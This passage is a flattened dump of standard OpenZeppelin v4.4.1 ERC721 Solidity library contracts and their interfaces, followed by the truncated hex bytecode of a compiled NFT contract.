override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
0x6080604052600436106102345760003560e01c8063715018a611610138578063c4e37095116100b0578063e985e9c51161007f578063eb8d244411610064578063eb8d244414610609578063f2fde38b14610623578063ffe630b51461064357600080fd5b8063e985e9c5146105ab578063e9866550146105f457600080fd5b8063c4e370951461053f578063c87b56dd1461055f578063cb774d471461057f578063e36d64981461059557600080fd5b80638da5cb5b11610107578063a0712d68116100ec578063a0712d68146104ec578063a22cb465146104ff578063b88d4fde1461051f57600080fd5b80638da5cb5b146104b957806395d89b41146104d757600080fd5b8063715018a6146104535780637d17fcbe14610468578063819b25ba1461047d578063833b94991461049d57600080fd5b80633ccfd60b116101cb5780636352211e1161019a57806365f130971161017f57806365f13097146104095780636c0360eb1461041e57806370a082311461043357600080fd5b80636352211e146103d45780636373a6b1146103f457600080fd5b80633ccfd60b1461035f57806342842e0e146103745780634f6ccce71461039457806355f804b3146103b457600080fd5b806318160ddd1161020757806318160ddd146102ea57806323b872dd146103095780632f745c591461032957806332cb6b0c1461034957600080fd5b806301ffc9a71461023957806306fdde031461026e578063081812fc14610290578063095ea7b3146102c8575b600080fd5b34801561024557600080fd5b50610259610254366004612587565b610663565b60405190151581526020015b60405180910390f35b34801561027a57600080fd5b506102836106a7565b60405161026591906126b4565b34801561029c57600080fd5b506102b06102ab366004612605565b610739565b6040516001600160a01b039091168152602001610265565b3480156102d457600080fd5b506102e86102e3366004612544565b6107d3565b005b3480156102f657600080fd5b506008545b604051908152602001610265565b34801561031557600080fd5b506102e8610324366004612467565b610905565b34801561033557600080fd5b506102fb610344366004612544565b61098c565b34801561035557600080fd5b506102fb6103e881565b34801561036b57600080fd5b506102e8610a34565b34801561038057600080fd5b506102e861038f366004612467565b610ac1565b3480156103a057600080fd5b506102fb6103af366004612605565b610adc565b3480156103c057600080fd5b506102e86103cf3660046125bf565b610b8e565b3480156103e057600080fd5b506102b06103ef366004612605565b610bfb565b34801561040057600080fd5b50610283610c86565b34801561041557600080fd5b506102fb600a81565b34801561042a57600080fd5b50610283610d14565b34801561043f57600080fd5b506102fb61044e36600461241b565b610d23565b34801561045f57600080fd5b506102e8610dbd565b34801561047457600080fd5b506102e8610e23565b34801561048957600080fd5b506102e8610498366004612605565b610ed3565b3480156104a957600080fd5b506102fb67016345785d8a000081565b3480156104c557600080fd5b50600a546001600160a01b03166102b0565b3480156104e357600080fd5b50610283610fec565b6102e86104fa366004612605565b610ffb565b34801561050b57600080fd5b506102e861051a36600461251b565b6111e0565b34801561052b57600080fd5b506102e861053a3660046124a2565b6111eb565b34801561054b57600080fd5b506102e861055a36600461256d565b611279565b34801561056b57600080fd5b5061028361057a366004612605565b6112e6565b34801561058b57600080fd5b506102fb600d5481565b3480156105a157600080fd5b506102fb600c5481565b3480156105b757600080fd5b506102596105c6366004612435565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561060057600080fd5b506102e86113cf565b34801561061557600080fd5b50600e546102599060ff1681565b34801561062f57600080fd5b506102e861063e36600461241b565b6114d0565b34801561064f57600080fd5b506102e861065e3660046125bf565b6115b2565b60006001600160e01b031982167f780e9d630000000000000000000000000000000000000000000000000000000014806106a157506106a18261161f565b92915050565b6060600080546106b690612755565b80601f01602080910402602001604051908101604052809291908181526020018280546106e290612755565b801561072f5780601f106107045761010080835404028352916020019161072f565b820191906000526020600020905b81548152906001019060200180831161071257829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107b75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006107de82610bfb565b9050806001600160a01b0316836001600160a01b031614156108685760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f720000000000000000000000000000000000000000000000000000000000000060648201526084016107ae565b336001600160a01b0382161480610884575061088481336105c6565b6108f65760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107ae565b61090083836116ba565b505050565b61090f3382611735565b6109815760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656400000000000000000000000000000060648201526084016107ae565b61090083838361182c565b600061099783610d23565b8210610a0b5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e647300000000000000000000000000000000000000000060648201526084016107ae565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610a8e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ae565b6040514790339082156108fc029083906000818181858888f19350505050158015610abd573d6000803e3d6000fd5b5050565b610900838383604051806020016040528060008152506111eb565b6000610ae760085490565b8210610b5b5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e6473000000000000000000000000000000000000000060648201526084016107ae565b60088281548110610b7c57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b600a546001600160a01b03163314610be85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ae565b8051610abd90600f9060208401906122e0565b6000818152600260205260408120546001600160a01b0316806106a15760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e000000000000000000000000000000000000000000000060648201526084016107ae565b600b8054610c9390612755565b80601f0160208091040260200160405190810160405280929190818152602001828054610cbf90612755565b8015610d0c5780601f10610ce157610100808354040283529160200191610d0c565b820191906000526020600020905b815481529060010190602001808311610cef57829003601f168201915b505050505081565b6060600f80546106b690612755565b60006001600160a01b038216610da15760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016107ae565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610e175760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ae565b610e216000611a11565b565b600a546001600160a01b03163314610e7d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ae565b600d5415610ecd5760405162461bcd60e